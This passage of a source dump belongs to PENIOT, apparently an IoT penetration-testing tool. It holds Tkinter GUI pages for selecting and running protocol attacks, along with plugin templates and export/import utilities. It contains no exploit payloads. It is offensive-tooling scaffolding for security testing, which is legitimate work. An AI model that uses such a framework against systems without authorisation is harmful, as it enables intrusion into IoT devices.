successfully.") except Exception as e: pop_up_window(root, None, "Export operation is failed because of\n{0}".format(e), justify=CENTER) class ExtensionHelp(Frame): """ This page gives detailed information on how to extend PENIOT. """ def __init__(self, parent_window): Frame.__init__(self, parent_window) # Configure the window self.configure(background=window_background_color) # Create the header Header(self).grid(row=0) # information about us extension_info = Label(self, text=get_extension_help(), width=70, justify=CENTER, font=("Arial", 15), height=10) extension_info.grid(row=1) extension_info.configure(background=window_background_color) # Back to menu button CustomButton(self, back_to_menu_label, lambda: change_frame(self, ExtensionPage(root)), 2) # Make it visible self.grid() class AttacksPage(Frame): """ This page displays the possible attacks for the selected protocol. """ def __init__(self, parent_window, protocol): Frame.__init__(self, parent_window) # Configure the window self.configure(background=window_background_color) # Set the selected protocol self.protocol = protocol # Create the header Header(self).grid(row=0) # Get protocol's attack suites attacks_suites = get_attacks(protocol["package_name"]) # current row index row_index = 1 # Create a button for each attack for attack_suite in attacks_suites: if isinstance(attack_suite, Attack): # Create the button for the attack CustomButton(self, attack_suite.get_attack_name(), lambda selected_attack=attack_suite: change_frame(self, AttackDetailsPage(root, self.protocol, selected_attack, None)), row_index) # Increment the row index row_index = row_index + 1 elif isinstance(attack_suite, AttackSuite): # Create the button for the attack suite CustomButton(self, attack_suite.get_attack_suite_name(), lambda selected_attack_suite=attack_suite: change_frame(self, AttackSuiteDetailsPage(root, self.protocol, selected_attack_suite)), row_index) # Increment the row index row_index = row_index + 1 if not is_default_protocol(self.protocol["protocol"].get_protocol_name()): # Back to attack selection page button CustomButton(self, "Delete Protocol", lambda: self.delete_protocol(), row_index, foreground="red") row_index = row_index + 1 # Back to menu button CustomButton(self, back_to_menu_label, lambda: change_frame(self, ProtocolsPage(root)), row_index) # Make it visible self.grid() def delete_protocol(self): is_successful = delete_protocol(self.protocol["protocol"].get_protocol_name()) if is_successful: change_frame(self, ProtocolsPage(root)) class AttackSuiteDetailsPage(Frame): """ This page displays the details of the selected attack suite. """ def __init__(self, parent_window, protocol, attack_suite): Frame.__init__(self, parent_window) # Configure the window self.configure(background=window_background_color) # Set the selected protocol self.protocol = protocol # Set the selected attack suite self.attack_suite = attack_suite # Create the header Header(self).grid(row=0, columnspan=2) # row index row_index = 1 # Create buttons for attacks for attack_in_suite in attack_suite.get_attacks(): # Create the button for the attack CustomButton(self, attack_in_suite.get_attack_name(), lambda selected_attack=attack_in_suite: change_frame(self, AttackDetailsPage(root, self.protocol, selected_attack, attack_suite)), row_index, 2) # Increment row index row_index = row_index + 1 # Back to attack selection page button CustomButton(self, back_to_attack_selection_page, lambda: change_frame(self, AttacksPage(root, self.protocol)), row_index, 2) # Make it visible self.grid() class AttackDetailsPage(Frame): """ This page displays the details of the selected attack. """ def __init__(self, parent_window, protocol, attack, attack_suite): Frame.__init__(self, parent_window) # Configure the window self.configure(background=window_background_color) # Set the selected protocol self.protocol = protocol # Set the attack suite self.attack_suite = attack_suite # Set the selected attack self.attack = attack # Create the header Header(self).grid(row=0, columnspan=2) # Definition of the attack attack_definition = Label(self, text=self.attack.get_definition(), width=70, justify=CENTER, font=("Arial", 15), height=10) attack_definition.grid(row=1) attack_definition.configure(background=window_background_color) # Back to the previous page if self.attack_suite is None: # Back to attack selection page button CustomButton(self, back_to_attack_selection_page, lambda: change_frame(self, AttacksPage(root, self.protocol)), 2, None, W) else: # Back to attack suite details page button CustomButton(self, back_to_attack_suite_page, lambda: change_frame(self, AttackSuiteDetailsPage(root, self.protocol, attack_suite)), 2, None, W) if not is_default_protocol(self.protocol["protocol"].get_protocol_name()): # Delete attack button CustomButton(self, "Delete Attack", lambda: self.delete_attack(), 2, foreground="red") # Go to input page button CustomButton(self, go_to_input_page, lambda: change_frame(self, InputsPage(root, self.protocol, self.attack, self.attack_suite)), 2, None, E) # Make it visible self.grid() def delete_attack(self): is_successful = delete_attack(self.attack.get_attack_name()) if is_successful: # Back to the previous page if self.attack_suite is None: # Back to attack selection page button change_frame(self, AttacksPage(root, self.protocol)) else: # Back to attack suite details page button change_frame(self, AttackSuiteDetailsPage(root, self.protocol, self.attack_suite)) class InputsPage(Frame): """ This page is used to get inputs from the user. """ def __init__(self, parent_window, protocol, attack, attack_suite): Frame.__init__(self, parent_window) # Configure the window self.configure(background=window_background_color) # Set the selected protocol self.protocol = protocol # Set the attack suite self.attack_suite = attack_suite # Set the selected attack self.attack = attack # file path if necessary self.file_path = "" # Create the header Header(self).grid(row=0, columnspan=3) # Inputs of the attack row_index = 1 # Get inputs self.inputs = self.attack.get_inputs() # Create an empty list for input values self.input_values = [] # For each input, create a Label-Entity pair for _input in self.inputs: label = Label(self, text=_input.get_label_name()) label.grid(row=row_index) label.configure(background=window_background_color) # Create a StringVar for the input string_var = StringVar(value=str(_input.get_value())) # Add it to the list self.input_values.append(string_var) # Create an entry for the input if _input.is_secret(): # Bind it to the string var entry = Entry(self, show="*", textvariable=string_var) else: # Bind it to the string var entry = Entry(self, textvariable=string_var) entry.grid(row=row_index, column=1) if _input.is_mandatory(): entry.configure(background=mandatory_fields_background_color) else: entry.configure(background=window_background_color) if _input.is_from_captured_packets(): CustomButton(self, "Select File", lambda: self.get_file_path(entry), row_index, None, W, 2, height=1) # Increment the row index row_index = row_index + 1 # Back to attack details page button CustomButton(self, back_to_attack_details, lambda: change_frame(self, AttackDetailsPage(root, self.protocol, self.attack, self.attack_suite)), row_index, None, None, 0) # Perform the attack page button CustomButton(self, perform_attack, lambda: self.navigate_to_attack_reporting_page(), row_index, None, None, 1) # Set default parameters of the current protocol row_index += 1 CustomButton(self, load_default_parameters, lambda: ( self.attack.load_default_parameters(), self.load_default_parameters_to_variables() ), row_index, 2, None, None) # Make it visible self.grid() def get_file_path(self, entry): path_to_captured_packets = os.path.dirname(os.path.abspath(__file__)) + "/../captured_packets" self.file_path = tkFileDialog.askopenfilename(initialdir=path_to_captured_packets, filetypes=[("pcap-files", "BLE*.pcap")]) entry.delete(0, END) entry.insert(0, self.file_path) def set_input_values(self): """ This function sets the values of the inputs using the self.input_values field. """ for i in range(0, len(self.inputs)): # Get the input from the user value = self.input_values[i].get() # If this is a mandatory field, but user did not provide any value for it, # Then simply create a pop-up explaining the situation if self.inputs[i].is_mandatory() and value.strip() is "": pop_up_window(root, "Input Validation", "Please, be sure that you provide valid values for the mandatory fields.") # input validation failed return False # If the user provide a value for the input, use it # Otherwise, use the default one if value is not "": # convert string to the expected type try: value = InputsPage._check_value_type(self.inputs[i], value) except Exception: return False else: value = self.inputs[i].get_default_value() # Set the value self.inputs[i].set_value(value) return True def navigate_to_attack_reporting_page(self): """ This function is called when we want to start testing """ # Set the input values is_valid = self.set_input_values() # If we have valid inputs, then continue with the attack if is_valid: # Change page to the attack reporting page change_frame(self, AttackReportingPage(root, self.protocol, self.attack, self.attack_suite)) else: pop_up_window(root, "Input Validation", "Please, be sure that you provide valid values for input fields.") def load_default_parameters_to_variables(self): for _input_index, _input in enumerate(self.inputs): self.input_values[_input_index].set(str(_input.get_value())) @staticmethod def _check_value_type(_input, _value): try: if _input.type == bool: return CommonUtil.get_boolean_value(_value) else: return _input.type(_value) except TypeError as _: raise _ class AttackReportingPage(Frame): """ This page is used to show the results of the attack. """ def __init__(self, parent_window, protocol, attack, attack_suite): Frame.__init__(self, parent_window) # Configure the window self.configure(background=window_background_color) # Set the selected protocol self.protocol = protocol # Set the attack suite self.attack_suite = attack_suite # Set the selected attack self.attack = attack # Create the header Header(self).grid(row=0, columnspan=2) # Create the console self.console = Text(self) self.console.grid(row=1, columnspan=2, sticky="nsew") self.console.configure(background=console_background_color, foreground=console_foreground_color, wrap='word') # Change the default output stream sys.stdout = self # Change the default input stream sys.stdin = self # Create a stream handler stream_handler = logging.StreamHandler(self) stream_handler.setLevel(logging.INFO) # Create a formatter formatter = logging.Formatter(logging_format) stream_handler.setFormatter(formatter) # Create a logger self.logger = logging.getLogger(logger_name) self.logger.addHandler(stream_handler) # Start the testing after 1 seconds. Create a Timer object so we can stop execution later self.timer = Timer(1.0, self.perform_attack) self.timer.start() # Stop the attack and back to menu button CustomButton(self, stop_attack_go_back, lambda: self.attack_stopper(), 2, 1, None, 0) CustomButton(self, generate_report, lambda: self.report_generator(), 2, 1, None, 1) # Make it visible self.grid() # Override write function def write(self, text): self.console.insert(END, str(text)) # Change the state of the console to Disabled so that nobody can write # Update the tasks so that the user can see the logs self.update_idletasks() # Override readline function def readline(self): return_value = None while return_value is None: # Get the return value return_value = self.get_number() # continue until we have a valid return value if return_value is None: continue return return_value # Used to get user selection for BLE sniffing attack def get_number(self): return_value = None text = self.console.get(1.0, END)[::-1].encode("ascii") if text[0] == '\n' and text[1] == '\n': for i in text: if i == ">": break elif str.isdigit(i): if return_value is None: return_value = "" return_value = i + return_value return return_value def perform_attack(self): # Start message self.logger.info("Performing the attack") # Run the attack self.attack.run() # Exit message self.logger.info("Attack is performed successfully") # Define the attack stopper function to end attacks def attack_stopper(self): # Remove handlers self.attack.stop_attack() # Call the underlying attack's own stopper for handler in self.logger.handlers: handler.close() self.logger.removeHandler(handler) # There will be some more changes here to close open pipes and so on. # Then, change the frame and go back change_frame(self, InputsPage(root, self.protocol, self.attack, self.attack_suite)) def report_generator(self): directory = tkFileDialog.askdirectory() try: if type(directory) == str and len(directory) > 0: directory = directory if directory.endswith('/') else directory + '/' GenerateReport.generate_pdf_from_text( self.protocol['protocol'].get_protocol_name(), self.attack.get_attack_name(), self.console.get("1.0", END), directory ) pop_up_window(root, None, 'Report is successfully generated.', justify=CENTER) except Exception as e: pop_up_window(root, None, 'Report cannot be generated properly.\nPlease check given directory path.', justify=CENTER) def run(): # Create the root window root = create_root() # Create HomePage and make it the current window HomePage(root).tkraise() root.mainloop() ================================================ FILE: src/GUI/utils.py ================================================ # This file contains methods which are used in the GUI. import importlib import inspect import os import pkgutil import shutil from Tkinter import * from hard_coded_texts import project_title, window_size, window_background_color from Utils.ExtendUtil.import_util import ImportUtil # list of default protocols DEFAULT_PROTOCOLS = ["MQTT", "CoAP", "AMQP", "BLE"] def is_default_protocol(protocol_name): """ Check whether the given protocol is default or not """ if DEFAULT_PROTOCOLS.__contains__(protocol_name): return True return False def delete_protocol(protocol_name): """ Deletes the given protocol """ path_to_protocol = os.path.dirname(os.path.abspath(__file__)) + "/../protocols/" + protocol_name shutil.rmtree(path_to_protocol) return True def delete_attack(attack_name): """ Deletes the given attack """ # Get the protocol name protocol_name = attack_name[:attack_name.index(" ")] # Get the attack real name # Remove protocol name attack_name = attack_name[attack_name.index(" ") + 1:] # Remove 'Attack' label at the end attack_name = attack_name[:attack_name.index(" ")] # Delete the attack path_to_attack = os.path.dirname( os.path.abspath(__file__)) + "/../protocols/" + protocol_name + "/attacks/" + attack_name shutil.rmtree(path_to_attack) return True def pop_up_window(root, protocol_name, definition, justify=LEFT): """ A pop up message generator. """ popup = Toplevel(root) # Prevent pop-up from resizing popup.resizable(False, False) popup.wm_title(protocol_name) label = Label(popup, text=definition, anchor=W, font=("Arial", 10), justify=justify, wraplength=800) # A pop-up with protocol name on top and definition below label.pack(side="top", fill="both", pady=10) button1 = Button(popup, text="OK", command=popup.destroy) button1.pack(expand=True, fill=BOTH) # Prohibits any other window to accept events popup.grab_set() # Center the window center_widget(popup) popup.mainloop() def get_protocols(): """ it simply searches for the subclasses of Protocol class and returns the all protocols """ # Available protocols protocols = [] # Base package to start searching for protocols packages = ["src.protocols"] # Continue to search until no package is available while len(packages) > 0: # Get the package package = packages.pop() # Get the package module package_module = importlib.import_module(package) prefix = package_module.__name__ + "." for finder, name, ispkg in pkgutil.iter_modules(package_module.__path__, prefix): # If it is a package, add it to the package list if ispkg: packages.append(name) else: # For some modules, we may have errors, skip those errors for now try: mod = importlib.import_module(name) except ImportError: continue for tname, klass in inspect.getmembers(mod): if inspect.isclass(klass): # If the class inherits from Protocol class, simply add it to the protocol list if "Protocol" in [c.__name__ for c in inspect.getmro(klass)[1:]]: protocols.append({"package_name": package, "protocol": klass()}) return protocols def get_attacks(package_name): """ it simply searches for the subclasses of Attack class in the given package and returns the attacks """ # Available attack names attack_names = [] # Available attack suites attack_suites = [] # Available attacks attacks = [] # Base package to start searching for protocols packages = [package_name + ".attacks"] # Continue to search until no package is available while len(packages) > 0: # Get the package package = packages.pop() package_module = importlib.import_module(package) prefix = package_module.__name__ + "." for finder, name, ispkg in pkgutil.iter_modules(package_module.__path__, prefix): # If it is a package, add it to the package list if ispkg: packages.append(name) else: try: mod = importlib.import_module(name) except ImportError: continue for tname, klass in inspect.getmembers(mod): if inspect.isclass(klass): # If the class inherits from Attack class, simply add it to the attack list if "Attack" in [c.__name__ for c in inspect.getmro(klass)[1:]]: attack = klass() # check whether we have this attack in the list or not if not attack_names.__contains__(attack.get_attack_name()): attacks.append(attack) attack_names.append(attack.get_attack_name()) # If the class inherits from AttackSuite class, simply add it to the Attack suite list if "AttackSuite" in [c.__name__ for c in inspect.getmro(klass)[1:]]: attack_suite = klass() attack_suites.append(attack_suite) # Remove attack names included in the attack suites for attack_suite in attack_suites: for attack in attack_suite.get_attacks(): if attack_names.__contains__(attack.get_attack_name()): attack_names.remove(attack.get_attack_name()) # Final list of available attacks available_attacks = [] # Retrieve attack whose name is included in the attack name list for attack in attacks: for attack_name in attack_names: if attack.get_attack_name() == attack_name: available_attacks.append(attack) break # Add attack suites to the available attacks for attack_suite in attack_suites: available_attacks.append(attack_suite) return available_attacks def get_captured_packet_files(): """ Retrieves the files containing saved captured packets """ # Names of the files file_names = [] # Search files in the src.captured_packets package path_to_package = os.path.dirname(os.path.abspath(__file__))[:-4] + "/captured_packets" for root, dirs, files in os.walk(path_to_package): for filename in files: # Only get .txt files if filename.endswith(".pcap") or filename.endswith(".txt"): file_names.append(filename) return file_names def change_frame(old_frame, new_frame): """ This function is used to change the frame. Firstly, we have to delete the old frame. Then, we start to use new one. """ # Destroy old frame old_frame.grid_forget() old_frame.destroy() # New frame new_frame.tkraise() def create_root(): """ It creates the root window. """ # Create the root window root = Tk() # Root window related settings root.title(project_title) root.geometry(window_size) root.configure(background=window_background_color) root.resizable(False, False) # Center the window center_widget(root) startup_calls() root.protocol("WM_DELETE_WINDOW", lambda: shutdown_calls(root)) return root def center_widget(window): """ Used to center the given window on the screen """ # Render the window to get correct width and height window.update() # Make window invisible so that we will have a smooth transition from upper left side to center window.withdraw() # Get window size settings width_of_window = window.winfo_width() height_of_window = window.winfo_height() # Get screen size settings screen_width = window.winfo_screenwidth() screen_height = window.winfo_screenheight() # Calculate the x and y coordinates x_coordinate = (screen_width / 2) - (width_of_window / 2) y_coordinate = (screen_height / 2) - (height_of_window / 2) # Set the geometry window.geometry("%dx%d+%d+%d" % (width_of_window, height_of_window, x_coordinate, y_coordinate)) # Make the window visible window.deiconify() def startup_calls(): """ Initialize program dependent modules to make program prepared for all operations """ ImportUtil.startup() def shutdown_calls(root): """ Register method callback to call necessary ending operations """ ImportUtil.shutdown() root.destroy() ================================================ FILE: src/Utils/CommonUtil/__init__.py ================================================ """ Common Utilities It contains necessary functionalities used commonly in project. """ import datetime def get_current_datetime_for_filename_format(): return datetime.datetime.now().strftime("%Y-%m-%d_%H:%M:%S") def get_current_datetime_for_report_format(): return datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") def get_boolean_value(bool_str): bool_str = str(bool_str) true_list = ["1", "true", "yes", "t", "y"] if bool_str.lower() in true_list: return True false_list = ["0", "false", "no", "f", "n"] if bool_str.lower() in false_list: return False raise TypeError("Invalid input for bool type!") ================================================ FILE: src/Utils/ExtendUtil/__init__.py ================================================ """ Extendability Utilities It contains necessary functionality used for importing and exporting scripts. """ ================================================ FILE: src/Utils/ExtendUtil/export_attack_suite_template.py ================================================ ################################################################################# # IMPORTANT WARNING # # This file is prepared to be guidance for you while implementing your protocol # # attack or attack suite. You can extend PENIOT with your implementations by # # filling necessary fields properly, then you can perform what you have created.# # To achieve this successfully, fill the following code segment carefully and # # keep compulsory code fields without changing their signatures so that PENIOT # # could extend itself with your code and work properly. # ################################################################################# # Do not change any of the import statements, we will provide their contents to you # Moreover, you do not need to export any other file than your attack suite from Entity.attack_suite import AttackSuite class _ATTACK_SUITE_COMBINED_NAME(AttackSuite): def __init__(self): attacks = [ # List the wanted attack here to package them in a single entity ] # Auto generated attack suite name, you can change attack name to be displayed in graphical user interface attack_suite_name = "_ATTACK_SUITE_NAME" AttackSuite.__init__(self, attack_suite_name, attacks) ================================================ FILE: src/Utils/ExtendUtil/export_attack_template.py ================================================ ################################################################################# # IMPORTANT WARNING # # This file is prepared to be guidance for you while implementing your protocol # # attack or attack suite. You can extend PENIOT with your implementations by # # filling necessary fields properly, then you can perform what you have created.# # To achieve this successfully, fill the following code segment carefully and # # keep compulsory code fields without changing their signatures so that PENIOT # # could extend itself with your code and work properly. # ################################################################################# # Do not change any of the import statements, we will provide their contents to you # Moreover, you do not need to export any other file than your attack import logging from Entity.attack import Attack class _ATTACK_COMBINED_NAME(Attack): """ Input Fields ** Important Note **: Each input must appear in the following lines of code for example, you can have following configuration in attack input list * For input format class, you need to fill following fields: 1) Label of input to be displayed in GUI 2) Name of member variable in this class, they need to match with following declarations 3) If exist, default value. You may set it "" or None 4) Type of input value to check/cast inputs = [ InputFormat("Port Number", "port", self.port, int), InputFormat("Timeout", "timeout", self.timeout, float) ... ] * Then your attack class must have following member variables (Values are used for exemplifying) port = 8080 timeout = 0.01 ... """ """ Miscellaneous Members You can much more of them here to internally use """ logger = None def __init__(self): inputs = [ # You need to decide inputs to be taken from graphical user interface to conduct attack ] # Auto generated attack name, you can change attack name to be displayed in graphical user interface attack_name = "_ATTACK_NAME" # Auto generated attack description, you can change or add description for the new attack, # you can browse it from ? button nearby attacks in attack menu description = "_ATTACK_NAME Description" Attack.__init__(self, attack_name, inputs, description) # Simple logger and registration logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s") self.logger = logging.getLogger("_ATTACK_NAME") def pre_attack_init(self): # You can preliminary processes here such as client initialization, sniffing of packets or similar processes pass def run(self): # DO NOT REMOVE! # Necessary to initiate obtained input values super(_ATTACK_COMBINED_NAME, self).run() # Optional field if the attack needs preliminary procedure to be done self.pre_attack_init() # Implement attack here # The code segment below this line will be executed when you click Run Attack button """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" " ||| Attack Content HERE ||| " " vvv vvv " """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" pass ================================================ FILE: src/Utils/ExtendUtil/export_protocol_template.py ================================================ ################################################################################# # IMPORTANT WARNING # # This file is prepared to be guidance for you while implementing your protocol # # attack or attack suite. You can extend PENIOT with your implementations by # # filling necessary fields properly, then you can perform what you have created.# # To achieve this successfully, fill the following code segment carefully and # # keep compulsory code fields without changing their signatures so that PENIOT # # could extend itself with your code and work properly. # ################################################################################# # Do not change any of the import statements, we will provide their contents to you # Moreover, you do not need to export any other file than your protocol from Entity.protocol import Protocol """ Note: You need to put your attack implementations to the attack directory that you can find in root path of created archive. Do not forget this since we are parsing that directory to import attack dynamically. """ class _PROTOCOL_NAME(Protocol): def __init__(self): # Auto generated name with respect to your protocol name input # If you want, you can change it, it will be showed in protocol menu protocol_name = "_PROTOCOL_NAME" # You should write definition of exported protocol # In case of writing, you can view protocol definition # by clicking question-mark-icon button while selecting target protocol protocol_definition = "_PROTOCOL_NAME Definition" # You need to add your attacks to this list in order to view and instantiate them while performing your attacks attack_suites = [ # Add attacks or attack suites ] # Call parent constructor with following parameters # 1) Attack name to be displayed in GUI # 2) Attacks or attack suites to perform regression and penetration # 3) Protocol definition to be displayed in GUI Protocol.__init__(self, protocol_name, attack_suites, protocol_definition) ================================================ FILE: src/Utils/ExtendUtil/export_util.py ================================================ from enum import Enum from Utils.RandomUtil import random_generated_names as random_util import logging import os import re import tarfile import zipfile logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s : %(message)s") logger = logging.getLogger("Util - Export") class ExportTypes(Enum): """ Enumeration types for export modes """ ZIP = 0 TAR_GZ = 1 class ExportOptions(Enum): """ Enumeration types for export options such as Protocol, Attack or Attack Suite """ PROTOCOL = 0 ATTACK = 1 ATTACK_SUITE = 2 # noinspection PyBroadException class ExportUtil(object): # Base path BASE_PATH = os.path.dirname(os.path.abspath(__file__)) # Export Protocol Constants EXPORT_PROTOCOL_TEMPLATE_NAME = BASE_PATH + "/export_protocol_template.py" EXPORT_PROTOCOL_NAME_REGEX = "_PROTOCOL_NAME" # Export Attack Constants EXPORT_ATTACK_TEMPLATE_NAME = BASE_PATH + "/export_attack_template.py" EXPORT_ATTACK_NAME_REGEX = "_ATTACK_NAME" EXPORT_COMBINED_ATTACK_NAME_REGEX = "_ATTACK_COMBINED_NAME" # Export Attack Suite Constants EXPORT_ATTACK_SUITE_TEMPLATE_NAME = BASE_PATH + "/export_attack_suite_template.py" EXPORT_ATTACK_SUITE_NAME_REGEX = "_ATTACK_SUITE_NAME" EXPORT_COMBINED_ATTACK_SUITE_NAME_REGEX = "_ATTACK_SUITE_COMBINED_NAME" @staticmethod def get_export_texts_and_values(): return [ {"text": ".zip", "value": ExportTypes.ZIP}, {"text": ".tar.gz", "value": ExportTypes.TAR_GZ} ] @staticmethod def export_function_factory(export_type): """ Export function factory to decide method of archive :type export_type: ExportTypes :return: Corresponding export function """ if export_type == ExportTypes.TAR_GZ: return ExportUtil.export_files_with_tar else: return ExportUtil.export_files_with_zip @staticmethod def export_files_with_zip(output_name, list_of_files, output_path="./"): if not output_name.endswith(".zip"): output_name = output_name + ".zip" zf = zipfile.ZipFile(output_path + output_name, mode='w') for _file in list_of_files: try: logger.info("File {0} is added to {1}".format(_file, output_name)) if len(_file) == 2: # Create file zf.write(_file[0], _file[1]) else: # Create directory zf.writestr(zipfile.ZipInfo(_file[0]), '') except RuntimeError as _: logger.error("Error has occurred while compressing file {0}".format(_file[0])) zf.close() @staticmethod def export_files_with_tar(output_name, list_of_files, output_path="./"): if not output_name.endswith(".tar.gz"): output_name = output_name + ".tar.gz" tar = tarfile.open(output_path + output_name, "w:gz") for _file in list_of_files: try: logger.info("File {0} is added to {1}".format(_file, output_name)) if len(_file) == 2: # Create file tar.add(_file[0], _file[1]) else: # Create directory t = tarfile.TarInfo(_file[0]) t.type = tarfile.DIRTYPE tar.addfile(t) except RuntimeError as _: logger.error("Error has occurred while compressing file {0}".format(_file[0])) tar.close() @staticmethod def export_protocol(protocol_name, export_path, export_type, output_name): temporary_file_name = None try: logger.info("Exporting protocol is started.") # Check whether output name has any possible naming if len(output_name.split(".")[0].strip()) == 0: output_name = protocol_name temporary_file_name = ExportUtil._create_temporary_file_and_replace_regex( template_name=ExportUtil.EXPORT_PROTOCOL_TEMPLATE_NAME, regex_list=[ (ExportUtil.EXPORT_PROTOCOL_NAME_REGEX, protocol_name) ] ) # Decide function and export with respect to corresponding archive export_func = ExportUtil.export_function_factory(export_type) export_func( output_name, [ # [0] represents actual file path and [1] represents the name of file in compressed file (ExportUtil.BASE_PATH + "/../../Entity/protocol.py", "protocol.py"), (temporary_file_name, protocol_name + "_protocol.py"), (temporary_file_name, "__init__.py"), ("attacks/__init__.py",) ], export_path ) logger.info("Exporting protocol is finished.") except Exception as _: logger.error("Error has occurred while exporting protocol.") finally: if temporary_file_name is not None: # Remove temporary file os.remove(temporary_file_name) @staticmethod def export_attack(protocol_name, attack_name, export_path, export_type, output_name): temporary_file_name = None try: logger.info("Exporting attack is started.") # Check whether output name has any possible naming if len(output_name.split(".")[0].strip()) == 0: output_name = protocol_name + "_" + attack_name temporary_file_name = ExportUtil._create_temporary_file_and_replace_regex( template_name=ExportUtil.EXPORT_ATTACK_TEMPLATE_NAME, regex_list=[ (ExportUtil.EXPORT_ATTACK_NAME_REGEX, protocol_name + " " + attack_name + " Attack"), (ExportUtil.EXPORT_COMBINED_ATTACK_NAME_REGEX, protocol_name + attack_name + "Attack") ] ) # Decide function and export with respect to corresponding archive export_func = ExportUtil.export_function_factory(export_type) export_func( output_name, [ # [0] represents actual file path and [1] represents the name of file in compressed file (ExportUtil.BASE_PATH + "/../../Entity/attack.py", "attack.py"), (ExportUtil.BASE_PATH + "/../../Entity/input_format.py", "input_format.py"), (temporary_file_name, protocol_name + "_" + attack_name + "_attack.py"), (temporary_file_name, "__init__.py",) ], export_path ) logger.info("Exporting attack is finished.") except Exception as _: logger.error("Error has occurred while exporting attack.") finally: if temporary_file_name is not None: # Remove temporary file os.remove(temporary_file_name) @staticmethod def export_attack_suite(protocol_name, attack_suite_name, export_path, export_type, output_name): temporary_file_name = None try: logger.info("Exporting attack suite is started.") # Check whether output name has any possible naming if len(output_name.split(".")[0].strip()) == 0: output_name = protocol_name + "_" + attack_suite_name + "_suite" temporary_file_name = ExportUtil._create_temporary_file_and_replace_regex( template_name=ExportUtil.EXPORT_ATTACK_SUITE_TEMPLATE_NAME, regex_list=[ (ExportUtil.EXPORT_ATTACK_SUITE_NAME_REGEX, protocol_name + " " + attack_suite_name + " Attack Suite"), (ExportUtil.EXPORT_COMBINED_ATTACK_SUITE_NAME_REGEX, protocol_name + attack_suite_name + "AttackSuite") ] ) # Decide function and export with respect to corresponding archive export_func = ExportUtil.export_function_factory(export_type) export_func( output_name, [ # [0] represents actual file path and [1] represents the name of file in compressed file (ExportUtil.BASE_PATH + "/../../Entity/attack_suite.py", "attack_suite.py"), (temporary_file_name, protocol_name + "_" + attack_suite_name + "_attack_suite.py"), (temporary_file_name, "__init__.py",) ], export_path ) logger.info("Exporting attack suite is finished.") except Exception as _: logger.error("Error has occurred while exporting attack.") finally: if temporary_file_name is not None: # Remove temporary file os.remove(temporary_file_name) @staticmethod def _create_temporary_file_and_replace_regex(template_name=None, regex_list=None): if regex_list is None: regex_list = [] # Read template with open(template_name, "r") as export_template_file: content = export_template_file.read() temporary_file_name = random_util.get_random_file_name() content_replaced = \ ExportUtil._replace_regex(content, regex_list) # Write template to temporary file with open(temporary_file_name, "w") as temporary_file: temporary_file.write(content_replaced) return temporary_file_name @staticmethod def _replace_regex(content, substitution_list_as_tuples): for pair in substitution_list_as_tuples: content = re.sub(pair[0], pair[1], content) return content @staticmethod def export_action(protocol_name, attack_name, attack_suite_name, file_path, file_name, extension, option): file_path = file_path if file_path.endswith("/") else file_path + "/" if option == ExportOptions.PROTOCOL: ExportUtil.export_protocol(protocol_name, file_path, extension, file_name) elif option == ExportOptions.ATTACK: ExportUtil.export_attack(protocol_name, attack_name, file_path, extension, file_name) elif option == ExportOptions.ATTACK_SUITE: ExportUtil.export_attack_suite(protocol_name, attack_suite_name, file_path, extension, file_name) else: raise ValueError("Unknown export option!") if __name__ == '__main__': ExportUtil.export_protocol("KNX", "./", ExportTypes.ZIP, "hey") ================================================ FILE: src/Utils/ExtendUtil/import_util.py ================================================ from enum import Enum from os import listdir from os.path import isfile, join import logging import os import shutil import tarfile import zipfile logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s : %(message)s") logger = logging.getLogger("Util - Import") class ImportOptions(Enum): """ Enumeration types for import options such as Protocol, Attack_OR_Attack Suite If user chooses PROTOCOL, then s/he can directly import without selecting any other input Otherwise, we need to provide currently loaded protocols to select to which one we will import """ PROTOCOL = 0 ATTACK_OR_ATTACK_SUITE = 1 class ImportUtil(object): # Path related variables BASE_PATH_OF_TEMP = os.path.dirname(os.path.abspath(__file__)) PROTOCOLS_DIR_NAME = "../../protocols/tmp" TEMP_FULL_PATH = BASE_PATH_OF_TEMP + "/" + PROTOCOLS_DIR_NAME TEMP_DIR_NAME = ".tmp" # Get entities ENTITY_PATH = BASE_PATH_OF_TEMP + "/../../Entity/" ENTITIES = [_ for _ in listdir(ENTITY_PATH) if isfile(join(ENTITY_PATH, _)) and not _.startswith("__") and not _.endswith(".pyc")] @staticmethod def startup(): """ Startup function that will be called program starting point in order to create necessary containers Currently creates the followings: * Temporary directory imported files """ try: if os.path.isdir(ImportUtil.TEMP_FULL_PATH): shutil.rmtree(ImportUtil.TEMP_FULL_PATH) os.mkdir(ImportUtil.TEMP_FULL_PATH) # make this directory a package os.open(ImportUtil.TEMP_FULL_PATH + "/__init__.py", os.O_CREAT) except OSError: logger.error("Creation of the directory {0} failed.".format(ImportUtil.TEMP_DIR_NAME)) else: logger.info("Creation of the directory {0} successfully done.".format(ImportUtil.TEMP_DIR_NAME)) pass @staticmethod def shutdown(): """ Shutdown function that will be exit stage of program in order to clean everything that are already created """ try: if os.path.isdir(ImportUtil.TEMP_FULL_PATH): shutil.rmtree(ImportUtil.TEMP_FULL_PATH) except OSError: logger.error("Deletion of the directory {0} failed.".format(ImportUtil.TEMP_DIR_NAME)) else: logger.info("Deletion of the directory {0} successfully done.".format(ImportUtil.TEMP_DIR_NAME)) pass @staticmethod def trigger_import(input_path, protocol_name=None): try: import_action = ImportUtil.import_function_factory(input_path) dir_name, file_name = os.path.split(input_path) # If the protocol name is provided, it means that we are importing a attack/attack suite # Therefore, put the imported files to corresponding attacks directory if protocol_name is not None: full_path_to_out_dir = ImportUtil.TEMP_FULL_PATH + "/" + protocol_name + "/attacks/" + \ file_name.split(".", 1)[0] else: full_path_to_out_dir = ImportUtil.TEMP_FULL_PATH + "/" + file_name.split(".", 1)[0] try: os.mkdir(full_path_to_out_dir) except OSError: logger.error("Creation of the directory {0} failed.".format(full_path_to_out_dir)) else: logger.info("Creation of the directory {0} successfully done.".format(full_path_to_out_dir)) import_action(input_path, full_path_to_out_dir) except RuntimeError as _: logger.error(_.message) @staticmethod def import_function_factory(input_path): options = [ (zipfile.is_zipfile, ImportUtil.import_zip), (tarfile.is_tarfile, ImportUtil.import_tar) ] for option in options: try: if option[0](input_path): return option[1] else: continue except Exception: pass raise RuntimeError("Unknown import extension!") @staticmethod def import_zip(input_path, 